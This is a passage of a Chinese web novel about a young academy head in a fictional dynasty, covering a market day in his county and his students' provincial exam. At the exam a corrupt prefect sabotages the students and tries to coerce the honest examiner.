童启压根不知道学生们正莽着劲儿打算写文章赞他,但估摸着即便知道了,很大程度上也不会让那些文章入选,他将温叶辞和清虚子两人点为了《华夏报刊》的主要负责人。 汪启元和吴韧则作为辅助代表,一同帮忙筛选稿件。 并严格声名了,所有内容必须得真实、真情、真意,方能入选,有任何夸大、拍马屁嫌疑的,一律不要。 然后才拉着毕昇的手,将印刷房交给了他。 “这地方平日里闲着也是闲着,除了每月的报刊、卷子需要印刻,平日里无事时你可以用来印刷你那书坊缺少的书籍,当然,必须得是合法的摹本才行。诺,这是所有的活版印刷模具制作方子,若是有什么不懂的,你可以尽情来问我!” 毕昇携着那细致无比的制作方法,感动的无以复加,就如同鱼入了水一般,当场便扎进了印刷房里研究起来。 要说大佬不愧是大佬,没几日,对方便找到了一些地方,简单修改了一下。 不仅将那套活字印刷的模板改的更加不费墨水、不费气力,效率还明显更快了一些。 看的旁边的流苏和墨竹惊呆的同时,也忍不住称赞其确有厉害之处。 完成了最危险的任务,也是时候和系统告 别了,对方要暂时离开一段时间,回去调查主系统空降的任务到底是个什么情况。 恰好下一轮主线任务最快也要到八月了。 童启依依不舍的跟统子告别,“你可是我这个时空唯一的朋友了,快去快回啊,没了你,我心里还真没什么安全感,就算拿不到补偿和回答也没关系,只要你保障好自己的安全就行。” 系统被说的泪眼汪汪,再三承诺一定会早点回来,这才一步三回头,不放心的离开了。 而等到对方回来,已经是三月之后。 第55章 第55章未来馈赠 话说光阴似箭,日月如梭。 八月的伊川县,已经大大变了一番模样。 还未到辰时,便已经有无数商家、店客早早的开了门。 不少穿着富贵的商人驾着牛车等待在街道两旁,大声冲着旁边的旅店喊道,“店家,是今日吧?可还有空房间?给我留两个,门口的牛你也帮我照料着些,要喂上好的饲料,不可怠慢!” “知道了,是今日没错,放心且去吧!” 店家熟练的应承着,嘱咐店小二帮着牵牛卸货。 诸如此般询问的人不少,难免便有那头一回来伊川县的人感到不解,迷茫问道,“什么今日?今日难不成有什么特别之处?” 听到这询问,客人们只神秘一笑,也不答话,指了指东边,道。 “莫急,一会儿您便知晓了。” 约摸着过了大概两刻钟左右,不知哪里突然传来了一声清脆的铃声,然后紧接着便是如野牛下山一般,浩浩荡荡,一群十四五六大小不一的少年,结伴走下了山来。 他们皆身着长衫长袖,衣着统一,干净整齐,就连发带都飘逸的是一个模样。 嘴里大声讨论着什么,手里有的拿书,有的拿着铜板,三三两两便直奔小吃摊而来。 “我就说昨日那道题不应该那么解!山长明明讲过,这种截搭题最容易落入陷阱,你偏一口咬定,说就是出自《诗经》,搞得我信以为真,直接被扣掉了两分!” “那能怨我吗?我也没想到前半句是《大学》里的内容啊,你还说呢,前天毕夫子来讲地理学,问道河南府共有几个县城,几口人,你不也给我递的错误答案?差点让我丢死了脸!” “要我说你俩谁也被怪谁,这两道题上个月校刊里可是讲过的,就出自于二年级郭胜开师兄的文章里,你们没看,扣分也是应有的。” “老板,来一份乌梅饮子!” “我也要一份,再加两个胡饼!照例,还是记小侯爷的账上!” “好你个戚风言,我就说我账上怎么总多出那么多钱来?合着是你小子在搞鬼?” “哈哈哈就许你让莫小川记账,难不成就不能令我也记账吗?这就叫做山长说的宰大户了!都是同窗嘛,大不了我的作业也给你借鉴一二。” “滚滚滚,你写的能有莫小川好吗?少拿同村来贴金啊!” …… 几个男生说说笑笑,毫无阶级身份的观念,推推搡搡间好不热闹,浑身都洋溢着独属于这个时期的青春气息,而一旁的生客却早已经看呆了。 他压低了声音,瞪大眼道。 “那……那是小侯爷?他怎么敢跟侯爷如此说话?” 被拽住衣袖的店小二满不在乎的摆了摆手,“嗨,这乃是我们当地华夏书院的规矩,一入校门,皆属同级。这才哪儿到哪儿啊,您且往后看吧,也就我们伊川才能见到这种独有的风景了。您方才不是问今日是何日吗?今日,便是华夏书院的休沐日!” 休沐日? 也就是说,这些都是书院里的学生? 怪不得各个谈吐非凡,俊秀有佳。 只是这华夏书院又是何时建成的?他怎么从没听说过? 还不等这生客脑子里冒出更多的疑问,突然一阵银铃般的女子笑声再次从山下传来,他竟然惊讶的看到一群女子同样穿着那学院的衣服,说说笑笑间,涌入了县城之中! 女子?女子也能读书么? 再没什么能够比这画面更令人感到冲击震惊的了,而令这生客更摸不着头脑的,是之前那些富商们的态度。 只见他们高举着银两并一些新鲜的发钗、头饰之类的小玩意,讨好的迎了上去。 “姑娘们好,请问姑娘们这个月可有学了什么新东西?之前你们书院做出的那些纯露、酒精可还有?若能匀我一些,我愿以高价购之!” “王姑娘!王姑娘在吗?终于寻到您了,上个月您给我家母亲做的那山楂丸,消食化积、健脾开胃,疗效十分的好,不知可还有多余的么,我也愿出高价购之!” “哎呦,郭小娘子,我们是特意来答谢您的,上个月我内人……” …… 七嘴八舌,宛如一场医学大会。 竟有大半皆是来寻医的?这可就奇了,她们不是学生吗?怎么就敢开起方子,治起人了? 旁边同桌的本地人笑他没有见识。 “如今的女医哪里去寻,能找到几个靠谱的便已经是万幸了。更何况那些学生也并非不懂装懂,若是看不清楚,自会回去找她们的先生,要说她们的先生,那来头可是大得很,乃是当过御医,治过宰相的,童山长特意高价请回来给这些女子们任教,能让她们给普通人治病,已然是非常厉害了。” 生客这才恍然大悟,难怪这些富商们如此推崇? 原来这群女子们学的是医科,还皆是御医手下的学徒啊! 那确实厉害。 这书院也是舍得,竟费如此大的功夫,培养几个女学生? 看这山长出手阔绰的样子,想必师资力量,也一定很强大了。 那生客心中感叹,不由想起自己家尚未拜师的两个小娃娃,心神一动,道。 “不知这书院束脩几何?山长又是哪方大儒?如今可还收学生么?” 店小二被问的繁琐,这些话一个月内他好歹也要解释个百八十遍,早已不耐,当即便将华夏书院上一次贴出来的招生简章甩了过去,令他自看。 见到其上又是考试,又是年龄限制,再加上一年才录取五十多个人,那生客早已经泯灭了心思。 就在他以为,这便是方才那些人所说的“今日”所有了。 突然,远处伴随着一句“山长下山了!”的呼喊,整个街道、或者说整个县城里的人似乎都在这一瞬间,骤然活跃了起来。 方才还态度冷漠的店小二霎时放下木托,恭敬的整理起穿着来,仰长了脖子,双眼亮的发光;慢悠悠尚未开张的饮品铺子,顿时利落的掀起了窗帘来,忙不迭的支起摊位;就连那些看到医科学生们动也未动的几位,也纷纷站起了身,满脸的激动。 “童山长!童山长日安,这个月你们书院的校刊可还有剩余?我们这里要500份!” “去去去,才500份也值当的说,我们这里要2000份,上一次送到京城,不知多少大儒、学子们争相购买,甚是喜欢呢,都嚷嚷着让多进些,好买两份回去用作收藏!” “好说好说,你们直接去问毕先生要即可。”童启背着小手,得瑟的从山上缓缓走了下来,左手抱个香香饮子,右手拿一个店家送的蟹酿橙,边走边吃。 这是他在系统走之后,新晋得来的放风活动。 即便书院里一体化什么都有,可被关的久了,难免就有点和世界不搭边的孤独感,于是他干脆每个月跟着学 生们休沐,一起下来转转。 别说,吃惯了正儿八经的食堂菜,有时候尝一尝这种当地小吃摊,还真觉得挺好吃哒! 而伊川县也因着他每月下来走一走,从一开始的惊愕、激动、狂喜到逐渐的习以为常,不少富商们甚至专门等侯在他下山的日子里,与他商量一些生意上的事情。 搞得他“被迫”小金库都充盈了很多。 不少没见过华夏书院山长的人,均瞪大了眼,似从未想过堂堂山长,竟然年纪如此的小? 而华夏书院的学生们则是一脸崇拜。 偷摸摸跟在童启身后,亦步亦趋的get起同款美食来,追星追的低调又满足。 系统正是这个时候回来的。 刚上线看清楚周围,便被这热闹猛地吓了一跳,出声道。 “妈呀!你怎么下山了?” 童启脚步瞬间一滞,在意识海中惊喜问道,“统子?你回来了?” “对呀,这不都过去三个月了吗,我一完成那边的任务便立马回来了。倒是你,你怎么出来了,身边也没带个人什么的,万一出事了怎么办?” “嗨,都是一个县城里的,能出什么事?” 有着系统归位,童启也没心思再多逛了,径直便打道回府。 一路上,他细细问着系统的收获,得知对方没有受伤,更没有什么其他的问题,这才勉强放下了心。 “主系统那边的空降任务我基本上已经弄清了,简而言之,就是蝴蝶效应。因为你在这里做了一件意料之外的事情,导致他那边的时空产生了一些影响,原本他跟着的宿主理应不治而亡才是,可没想到医学方面竟然猛地前进了一大步,连带着那人的病竟然有药可医了!主系统因此莫名其妙任务成功,所以才空降奖励,想帮我们一把!” 帮?他就说这次的任务看起来,似乎远比奖励要容易实现的多。 合着是这个原因啊。 意料之外的事情……难不成是指的常仕进摔断胳膊,他硬开出的医务室吗? 确实在此事件之前,他是尚没有考虑过要开医科、收学徒的事情的。 毕竟他又没有学过医。 “这么说,主系统也在带宿主?而且那人,还是在我这个朝代之后?” 系统点点头,“没错。” “也就是说,我未来成功了?而且真的影响了这整个时代的历史?!” 系统骤然卡壳宕机在了原地,久久没有回答。 童启倒抽一口凉气,早已欣喜的无法言说。 他一直以为自己所处的时代类似于平行时空,不会在历史上留下任何痕迹来着的,毕竟大奉朝他听也未听过,而大奉朝的开国皇帝,更是至今也没有多少史书记载! 系统总是说等完成最终任务,他们就能够回到现代的时空。 但说实话,童启一直没觉得这个任务是有一天真的能够完成的! 可现在突然有人告诉他,他不仅完成了任务,他所作的一些事,竟然真的在后世有所留存,还改变了一些人的实际状况?甚至意外影响到了主系统所携带的宿主? 这是多么神奇的一种感觉啊! 仿佛走过的每一寸路,都成为了脚踏实地碾过的痕迹! 未来一下子变的货真价实了起来! 他瞬间斗志昂扬,热血满满,似乎还能够不眠不休再去教授五百个学生去! “所以,综合教学楼算是主系统那边给我们的补贴?后续再有主任务,都与它无关了?” 系统:“没错,主系统之后不会再插手,接下来还是按照我们这里的任务清单为主,目标是桃李满天下,让所有弟子们成才立业,整个大奉朝边边角角都听闻过你的故事为止。” 童启迫不及待的摩拳擦掌起来,“很好,那我们接下来要如何做?是不是该第一批学生们去参加院试了?你不在的时候,我已经把他们的所有手续都给做好了,只待出发!话说这一次院试的成绩还有奖励吗?拜托再多给我开一点建筑吧,咱们书院现在急缺新建筑啊!” 没看见他们这些老师们还没有专用的办公室和住宿楼吗? 一直到现在还是跟学生们挤在一起,搬来搬去的,也太没面子了吧? 系统沉默了两秒,之后便十分给力的刷新了新任务。 【叮,请带领二年级学生们完成院试中崭露头角的任务吧!目标:五人入榜,三人前十。 成功:解锁办公楼一座 失败:物理抹杀】 童启:yes! 办公楼,我来了! 第56章 第56章院试遇阻 华夏书院内,有着童山长的一声令下,所有二年级学生们整装待发。 前往州府,参加院试。 一年级和学前班的学生们则统一被托付给了其他先生们,暂时照看。 这一次,带队的,依旧是童启本人。 不是他放心不下,实在是头一批学生们皆属于摸着石头过河的状态,有他在,好歹还能稍微安心一些,若换做其他先生,皆是没参加过科考的(除了温叶辞),只怕会更不安。 作为山长,全程盯一遍也好,这样才能有更多经验留给后来的学生们,以防万一。 提前派人给州城里的刘默兄妹打了个招呼后,童启依旧请了两名镖师,并几架马车,护送着六名学生们浩浩荡荡前往了河南府。 三个月的静养,已经令常仕进的胳膊好的差不多了。 虽然仍旧不能用力提起一些重物,但写字、研磨之类已经无碍。 童启内疚的不行,往他的包袱里强塞了许多东西,以备其不时之需,一路上更是将其安排在了和自己同一辆马车内,全程看顾,紧盯着他的状态。 “你若是感觉到吃力,就跟我说。虽然我让你们所有人皆上场一试,但也并非要求你们一定要全部考上。即便是落榜也无妨,书院里有着后续的培养计划,咱们休整休整,等后年再尝试,也是一样的。” 成名不在早晚,况且如今常仕进才不过十五,即便迟个两三年,也耗得起。 童启有信心将自己的徒弟安安稳稳送入朝堂之中,不是这一届,也是下一届罢了。 感受着山长殷切的关怀,常仕进哭笑不得。 他活动了一下自己的胳膊,安慰道,“山长不必担忧,临行前,王姑娘已经为我检查过了,不会影响到考试的。况且咱们这大老远的,来都来了,不试一下就离开,岂不是多少有些遗憾?您放心,我不会勉强自己的,这一次的院试,我量力而行,能中自然是我之幸,书院之幸,即便败了,也无妨,不过是火候未道罢了。” 看着自家徒弟充满干劲的样子,童启也不忍再说什么泄气的话。 只拍了拍他的肩膀,心中感慨不断。 看来这一次意外断了胳膊,对于常仕进的影响还是很大的,以往那个冲动、易怒的暴躁少年,不复存在,转而成为了如今越发冷静、内敛的模样,仿佛自带了一层病弱buff,令人忍不住怜惜起来,生怕他又磕碰到哪里去。 可实际上,常仕进健康的很,自胳膊痊愈后,更是一个人能揍仨个人。 只是很少见到师兄弟、山长会如此关爱呵护自己,所以乐得不说罢了。 偶尔也对大家过于小心翼翼的态度有些吃不消,但整体还是颇为窃喜的。 一路上摇摇晃晃,靠近了州城。 还未进城内,半路上,却先遇到一事。 “山长,前面似乎有人受困。” 驾车的车夫勒紧了缰绳,停下禀告道。 童启掀开帘子,见到不远处的泥沟中,正有一辆马车深陷其内,半个车轮都沾满了泥浆,整个车厢几乎歪斜着,难以再继续行驶。唯有一位老管家和一位看起来不过十四五的小丫鬟正竭力推着,额头泛着青筋,无比狼狈,不由开口询问道。 “需要帮忙吗?” 那两人抖时吓了一跳,还以为是什么歹人,连忙挡在车厢前。 见到童启的年纪,这才松了一口气,连忙避着几位镖夫行了一礼,道。 “这位小公子,我们乃是从外地走亲戚回来的,因着路途遥远,身边带着的小厮和护卫们水土不服,已率先去州府通知老爷们了。没想到半路赶巧车轮竟陷在了泥里,不知可否帮着抬一下,等到了河南府,我们定有重谢……” 童启瞄了一眼对方车厢上的纹绣,猜测着应是哪家的姑娘遇到了什么意外之事,和家中的人不慎走失了,可见到其下人均一脸警惕之色,话语中又多有搪塞,便知晓应是不便多问,于是摆摆手道。 “无妨,不过是顺手的事情罢了,我们也正好要去河南府,若是不嫌弃,你们可以跟在我们后面,一同前行。” 童启跳下车,撸起袖子,准备帮着几个镖夫们一同抬车,吓得吴韧几人慌忙阻拦道。 “山长不必亲自动手,学生们来即可。” “对对对,您坐着就行,有什么直接说,我们几个便足以了。” 这世上师生之道,哪里有学生们不动,却让老师亲力亲为的道理? 吴韧在这些人之中年纪最长,当即便束起长袖,上前帮扶了起来。 他全然不顾那污泥的脏臭,丝毫没有嫌弃这动作会影响到自身整洁的意思。 与那些文人弱不经风的模样不同,华夏书院向来重视全面教育。 体能锻炼,更是今年的重中之重。 如今的吴韧早与不是当初入校时,那个可怜巴巴的模样。 他身着青色长衫,腰间紧束一条素色腰带,顺着延展而挺拔的腰线向上看,愈发显得宽肩窄腰,身形精瘦。露出的侧脸更是清秀俊逸,眉宇之间自带一股沉稳的书卷气息,可露出的小臂却孔武有力,仿佛每一寸肌肤下都暗藏着一股锋芒,随时可化为凌厉的剑气。 吴韧低垂着头,专心致志观察着那车轮,先用树枝整理了一番上面的泥泞,又拿石头堵住了打滑之处,这才号召着大家一起努力向上抬,只两息之间,便将那车辕整个拉了上来。 因此也就没有注意到车厢内,悄然掀起的窗帘一角。 飞快扬起,又飞快落下。 美目流转之间,一颗芳心,也就此陨落。 举手之劳的事,华夏书院内的众人帮过之后,很快便忘记,继续带队往州府里赶。 而小丫鬟和管家则犹豫两下,紧随其后,一同进入了河南府。 过了城门,方分道扬镳。 车厢内,王绾儿轻抚着自己的胸口,一直见到那只队伍进入了清水巷后,这才依依不舍的收回了目光。 “小环,那些人,也是来府城参加院试的吗?” “可不是,也不知是哪个县里的,竟然连咱们家的家徽也认不出,不过也幸亏他们没认出来,不然等老爷知晓了,定又要责怪咱们了。都怪那表小姐,说什么找风筝,将咱们骗的如此远,差点就赶回不来了!这也就幸亏了半路遇到好心人,不然……” 小丫鬟小嘴叭叭地说个不停,一肚子的委屈,可一回头,却发现自家小姐压根没听,不由嗔道。 “小姐!” “嗯?”王绾儿瞬间怔愣过来,连忙赔笑道。“好小环,我只是在想那些人看起来似乎都是从同一个私塾里出来的,穿着打扮很是一致,十分少见,也不知是哪家,所以有些好奇罢了。” 小丫鬟瞬间被带偏话题,附和着点了点头。 “的确,看马车不像是咱们府城附近的,方才我还听到他们喊什么山什么长哩,八成是什么偏僻地方出身!不过倒是人杰地灵,半点没有读书人的迂腐气,个个长得不丑呢!” 何止不丑,简直比她母亲去年给她相看的那些文人士子要好上太多了! 可惜,也没问个名字,不然等院试结束,若榜上有名的话,和母亲提起来,也有话可说。 嗯?她怎么想到了这里去? 意识到自己在思考什么,王绾儿瞬间脸红心跳不止。 可再考虑到自己父亲的古板严肃,一颗火热的心又不由压抑了下来,不敢再多言- 自打进入了府城后,吴韧等人便沉下心开始温习起功课来。 而童启则溜溜转转,提前逛起了考场,顺带着想去拜访一下王学政。 奈何刚走到门口,却见到不少衙役、学子皆围拥在一处,吵嚷一片。 “都说了,本届学政大人暂不接受任何人的拜访。去去去,你们难不成是想要营私舞弊吗?” 几个衙役带刀站在门外,凶悍十足,吓得不少学子们纷纷避让。 如今的大奉朝虽然科举制度逐渐完善,可考前拜见座师,依旧是延续的唐朝的习俗,并没有禁忌。 甚至有不少士子还会在考前奉上自己的“行卷”,以示其才学,帮助学政大人“查漏补缺”。 童启虽不喜欢这种风气,但也从未说过什么。 如今见到学政大人避讳莫及,只估摸着约是上头新出了什么规定,要严查,所以也没放在心上,只驻足观察了一会儿,便转身离开了,按下不表。 只说到了院试当日,考场外人山人海,皆是陪伴着学生们一起等候验身的家长、老师。人群如潮水般涌动着,排成了一条长龙,考生们鱼贯而入。 童启则反复叮嘱着学生们注意事项,再三检查了一下六位学生的包裹、解状等物,确认无遗漏后,这才目送着大家进入了考场内部。 可甫一进入侧房,吴韧等人刚报上自己的籍贯,几个门口的衙役便瞬间走了上来。 “华夏书院的?解状给我看看,所有人衣服脱掉,包裹里装的什么?全部打开!” 似乎对他们几个格外敏感一般,一听到是伊川,其他的学子们都没怎么查,便率先围拥了上来。八九月份的天气,正微凉,别人都只是脱掉外衫,简单搜一搜,他们几个却要将所有衣服全部扒个干净,赤身裸体面向一众人。 那检查之慢,检查之细,简直像是游街示众一般,令人难以启齿。 六个人吹着冷风,握紧了拳,缓缓挺起胸膛,无所畏惧。 可携带的吃食却以“不合规定,担心夹带私物”等理由直接被没收掉,换做了普通的硬饼子,一口下去,简直能把牙给崩掉的那种。 即便再三理论,里面并无异物,可以详查,可衙役们却丝毫没有通融退让的意思,眼一横,便令他们快速进场。 等进了考院,吴韧和汪启元更是发现两人被刻意安排到了臭号,也就是靠着厕所的那一间。 河南府学风不盛,这两间平日里压根用不到。 头顶上的瓦片年久失修,根本难以遮挡严实!, 入了夜,四面漏风,如同露天,风一吹,更是裹挟着厚重的灰尘往下滚,兜头便是一脸。 及至此,吴韧等人才不得不承认,他们应该是被某个大人物给盯上了。 因此被穿了小鞋。 几人对视一眼,纷纷苦笑着打起精神,束起二十万的心思去应对。 但只怕他们想破了头也不会知道,刁难他们的,不是别人,正是本地新晋的知府大人。 河南府府衙后院。 博山炉内,檀香正袅袅升起,香气轻柔而逐渐弥漫于整间书房内部。 顾信之身着官服,安坐在椅子上,慢悠悠练着自己的毛笔字。 笔锋流转间,可见强势。 “如何,考生们都已经入场了?” 旁边的小厮躬身应道,“是,吴韧和汪启元等人都已被安排进了臭号,那里久无人打理,四下漏风,若是碰上阴天下雨,更是无可躲避。但凡进去,就没有不横着被抬出来的,想来这一次的榜单,他们应是没多大可能了。” 顾信之收势看着笔下的字帖,十分满意。 丞相那边虽已说了不必放在心上,可顾信之却不愿就此放下。 前段时间,他方才知道,原来这整个河南府的富庶,竟然皆是源于一张琉璃方子。 而那方子正是出自于华夏书院之手,整个河南府的权贵均有涉及,连带着离职的木奎盛都参与了一份。怪不得个个大开绿灯,态度和乐,原来是赚的盆满钵满,拿了好处,所以嘴软罢了。 这让他更加不满意起来。 他都到任这么久了,这童启也不知道补上他的一份,实在是没有将他看在眼里! 怎么,以为投奔了三皇子便高枕无忧了? 那不妨看一看谁才能笑到最后吧。 顾信之冷哼一声,将练好的字重新收起,继续安稳的看起公文来。 时间总是十分快速的,可对于华夏书院的学生们来说,这几日,却格外的漫长。 尤其刘卜温本身就有一点胃病,再碰上这嚼都嚼不动的饼子,半点热气都没有的凉水,不消两日,便直接疼的直不起腰来。 郭胜开和杨舟万更是体虚怕寒,一到晚间,原本就透风的屋顶更是凉的不行。 几个人不敢熟睡,裹得被子是紧了又紧,可依旧没有半点温度,只能强撑起精神,倚靠在桌子上,闭目养神起来。 吃又吃不好,睡又不敢睡,只考到一半,便有三人起了热,发起了高烧。 慌得汪启元看在眼里,急在心里,更对这幕后之人耍的手段,愤慨无比。 强撑着熬过最后一天,万幸没有下雨,几人才连忙交了考卷,离开了考场。 王学政端坐在主考官的位置上,见到华夏书院的学生们各个脸色绯红,咳嗽不断,颇有些疑惑。 但也没怎么多想,收完卷子后,便带着人连日批阅了起来。 童启和一众镖师等侯在门口,一见到几人出来,立刻被吓了一跳。 “你们这是……” “快上马车,我已经提前令王默请好了大夫,咱们回去再说!” 没想到本是备不时之需的行为,竟意外起了大作用。 他的几个学生竟也会生病?要知道,以他们的身体素质,可是经历过好几轮考前冲刺,反复模拟过恶劣的科考环境的!怎会如此严重呢? 等回到屋子里,听完学生们的讲述,童启这才知道,原来是有人从中作梗。 可会是谁呢? 他从未得罪过河南府的人啊,且王学政也是老相识了,按理说不会下手。 难不成……是新来的知府大人? 可没道理啊!对方和他从未有过交情,又哪里来的嫌恶呢? 童启想不明白,如今也只能暂时压制下来,以观后续。 第57章 第57章命悬一线 且说随着吴韧等人的病倒,另一家屋子里,也有人在担忧的不行。 王府内院。 王绾儿焦灼的踱步在闺房中,见到丫鬟小环推门而入,连忙追问道。 “怎么样?可等到了?他确实上了考场么?考的如何?” 小环一脸愁容,忙掩上门,低声抱怨道,“别提了,小姐,我等了许久才看到那人出来,还没上前呢,便见到他哐当一声,直接腿软倒下了,一脸的惨白之色,想来应该是考的不怎么样,没什么指望了。” “怎么会呢?” 王绾儿纳闷不已。 前几日她方见到那人衣袖之下健壮的小臂,按理说,只是考个试而已,没道理晕厥的呀。 难不成真的是父亲出的题目太难了,导致成绩不理想? 一番百转回肠,王绾儿也只得叹一声两人没缘,暗暗请人买了几帖药送过去,以绝自己的心思。 且不说童启等人接到这莫名其妙的药,态度如何,只说如今的考院内,学政大人也正面临着一场腥风血雨。 “我觉得这份考卷不错,合当上等。” “非也,那策论写的荒谬不堪,怎比得上这份?” “你懂什么,那卷子上沾染了污迹,实属不洁,定是考生心思不细,万不可录用。” …… “都拿来给我看看。” 王学政坐在首位上,强忍着跳动的太阳穴,一把接过那两份试卷,仔细品读了一番。 头一份,干净整洁,可策论前后不搭,胡言乱语,没有半分逻辑。 后一份,倒是写的有模有样,严丝合缝,引经据典,可见基础扎实,但卷面上却有着一道微不可查的水痕,不知是沾到了哪里。 这……虽然没有规定,可普遍来看,确实大多数是沾染污迹的那份,更容易被罢落。 可若选头一份录入,又实在是难安王学政等人这些人的心。 是取净,还是取实呢? 他犹豫了一下,令人去卷房内取两人的草稿笺来。 草稿笺,一般是考生在答卷之前用来整理思绪的地方,有时候也会作为参考,帮助主考官分辨虚实。 王学政两方对比着看了看,紧皱的眉头顿时松快起来。 只见那头一份的草稿笺上虽也有短短数语,可却断断续续,压根不讲任何逻辑,明显敷衍凑数之用;而后一份则并无那么多伪装,整体思考过程清晰明了,干净整齐,甚至有两个观点因为时间紧,竟还没有被誊抄上去! 怪不得他总觉得正卷答语缺了点什么。 若能再加上最后两点的话,那确实是无可攻坚。即便名次再往前挪个几位,想必也轻而易举。 “罢了,就给这第二份一次机会吧,毕竟我们录的是内容,又不是卷面。就将他判为最后一名,以示警告算了。” 有着王学政一锤定音,接下来的卷子基本上再无甚争论。 眼见着完整的名单即将整理完毕,考院角落里,一名衙役悄然溜了出去,急匆匆直奔府衙。 王学政捋了捋胡须,看着考卷的糊名依次被揭开,不由探头瞄了一眼今年的案首。 果然,不出意料,依旧是那熟悉的名字。 他矜持的点了点头,至此,也不得不承认童启的识人之明,确实有那么一点挖到好苗子的气运。 思极起案首的年纪,他突然灵犀一动,想到。 话说,这位是不是还尚未娶妻来着的? 青年才俊,无所依托,出身寒门,又是典型的农家子,倒是和他颇有些相似,如今还肩负着小三元,若配上他那表侄女,倒是十分的合适。 如此想着,未免就有些心动。 刚打算令人誊案,准备公示,突然,门外一片嘈杂声响起,十几个衙役并新晋的知府大人径直推开门,闯了进来。 “王学政,我觉得此排名是否还需要再斟酌一下?” 顾信之语气急切,一把按住了对方的手,将那群试卷里的前两份直接推落在地,然后抽出了排名第三的那位,暗示性十足的递了过去。 “您不如再看看这份?我觉得,或许由他来当这个案首,可能会更适合一些。” 王学政望着地上落了灰的卷子,眉头紧皱道。 “知府大人这是何意?” 虽说,大奉朝要求每年院试由当地知府和学政共同负责,可通常默认的,知府大人只拥有协调权,负责维持考院秩序,处理作弊、闹事之人。若论判卷的话,要如何判,怎样判,判给谁,那可都是由当地学政统一处理,知府是没有任何干涉的权利的! 难不成对方这是想结党营私,排除异己,趁机提拔亲信? 那可看错了人! “王学政莫要多想,我并非出自私心,只是,源于一些因素,不太喜欢这头两位罢了。实际上,只要不是他们,您换谁,都行。” 眼见着他满脸的警惕,顾信之后退一步,笑得客客气气。 他这才瞥了一眼前两位的出身地,若有所思道。 “虽说他们出自同一个县城,但才学能力是无可否认的,我和其他阅卷官皆可证明,大人不必担忧……” 啧,这小老头子,怎么就如此倔强,听不懂人话呢? “王大人!”顾信之难耐的打断道,瞥了眼旁边围拥的几人,轻揽过他的肩膀走到一旁,索性坦明,“我此举,乃是担忧那华夏书院风头太盛,若不压一压,恐有后患啊。若记得不错,您今年便是在河南府的最后一年了吧,既如此,这案首是谁,又哪里有那般重要呢?第一还是第三的,只要咱们互相帮衬着些,谁又知 晓,再说回头你回朝任职,不也好有个交代么?毕竟……官员升迁亦或贬谪,最终还是得看丞相大人的意思,你也不想忙活三年,不升反降吧?” 前几句多少还算一点利诱,可最后一句,却明显是赤裸裸的威胁了。 王学政本就是铁骨铮铮的纯臣,一生只忠于陛下,谁也不站。 听到这些,更是如同毒药入耳,登时眉头倒竖,心火顿起。 他是谁? 他可是连童启最负盛名时,亲自上门拜访,也不给任何面子的人。 当官当到今天,仍旧在从五品上徘徊,就是因直言不讳,半点不怕得罪人,就连陛下也是深知这一点的。 这顾信之算个什么东西,就敢打着胡丞相的旗号,威逼压迫他? “哼,多谢顾知府好意,但我想官员升迁贬谪自有其定论,非一人可左右,我之职位正是为了朝廷选拔人才而生,理应公正无私方为上等。排名如何,便不劳知府大人操心了,若有异议,大可以向朝廷直接参我一本。” 说罢,他昂首挺胸,直接摆摆手,便令人开始誊抄试卷。 “王大人!” 顾信之一拍桌案,“唰”的一声,周围所有衙役骤然将刀抽了出来,齐齐对准众阅卷官。 一时间,吓得无人敢再动。 “你这是何意,造反吗?”王学政暴怒骂道。 顾信之站在阴影中,背着手,语气平静。 “王大人连夜批改试卷,终于在最后一瞬间,体力不支,昏厥了过去,所以由本官代为发布院试名次,来人啊,还不快扶王大人下去休息!” 几个衙役脸一横,当即便想要上前,强行将他拖离。 见此情状,王学政脖子一梗,瞬间后退了一步,咬牙从怀中掏出火折子,便直接对准了身后的考卷,厉声呵道。 “我看谁敢动!” 在场所有人看清的一瞬间,霎时倒抽一口凉气,慌张不已。 “顾知府!莫说什么胡丞相,今日,即便是皇子亲至,我看没有我的同意,谁能擅自更改名次?哼,拿什么官场功绩优劣来威胁我,你也不打听打听,我王政屿是什么人,会怕那些?有本事咱们就干脆闹大,直接对峙到陛下那里,到时自然有个一二!我倒是奉劝你一句,人做事,莫太绝,咱们各司其职,井水不犯河水,自然相安无事。但若惹急了,大不了我将此付之一炬,从头再来,到时朝廷追查下来,我倒要看看,是谁的错处更大一些!” 王学政一生孤标傲世,自认是个不怕事的。 即便被贬谪到偏远地界,罢了官,那他也认了,只愿如白杨,“折则折矣,终不曲挠!”(注1) 说完,便挥舞着火折子试探着向身后甩去。 吓得当场所有衙役、阅卷官、知府统统变了脸色! 要知道,大奉朝律法,对于蓄意放火焚烧考卷那可是判的极严的!最高可判处绞刑!若真失了事,别说顾知府,就是在场所有衙役小厮,那都会受到牵连,革职严判!即便是抄家、流放、死刑,也不是没可能! 顾信之整颗心瞬间怦怦直跳,慌忙抬起手,不敢再逼。 这小老头,简直是个疯子! 如此癫狂,半点不顾及后路,难不成是想带着所有人一起去死吗? “罢罢罢,我不再干预,不再干预了!你且冷静些,小心着手上,莫真的燃了这里,到时候我死,你全家也一个都跑不了,值得吗?” “值不值,我自有道理。” 王学政一脸警惕的看着他,令所有人向后退去。 顾信之只得咬牙挥了挥手,让所有衙役先行离开,他长叹了口气道。 “王学政,你将来,一定会为今日的选择,付出代价的。” “是吗?那便不劳知府大人操心了。” 寸步不让的回怼,软硬不吃,着实令顾信之憋了一肚子气。 可他也深知,今日闹得这般大,已经远超出了自己的控制范围之内,回头胡丞相怪罪下来,他也无法交代,因此只得暂时罢休,带着人往外撤去。 好在,那华夏书院几个人的排名都不算太高,他如此安慰着自己,方好受了一些。 清风街内。 因着学生们一个个病倒,这一次的童启并没有考完便立马带着人离开,而是干脆边养病,边等待着榜单公示。 他头一次如此的不安,谁能想到,学生们在考场上竟然也能被暗算! 他们强撑着病体答完了卷子,状态肯定不会有平日里发挥的那般好。 若是一个不慎,没考上,或者考不了前几名的话,那他的系统任务…… 想到系统总挂在嘴边的【物理抹杀】,童启忍不住吞咽了一口唾沫,紧张起来。 但愿但愿,莫要出差错才好! 及至放榜之日,整个公告栏下已经提前被围得水泄不通。 童启特意花钱包了场,带着几名学生们登上了附近的酒楼,焦灼的等待着。 店小二认真记住了几位“小老爷”的名讳,一头挤进了人群里,帮忙打探结果。 几个衙役抬着榜单缓缓走出,将其贴上,瞬间,人群涌动着向前争去。 嘈杂之中,悲喜交加。 “啊啊啊我中了!” “又没中,呜呜呜我家老爷怎么又没中啊!” “天要亡我,天要亡我啊!” …… 店小二逆着人群,急匆匆走上楼来,当即俯身一礼贺道。 “恭喜!恭喜华夏书院吴韧老爷高中榜首!汪启元汪公子成功拿下第二名!” 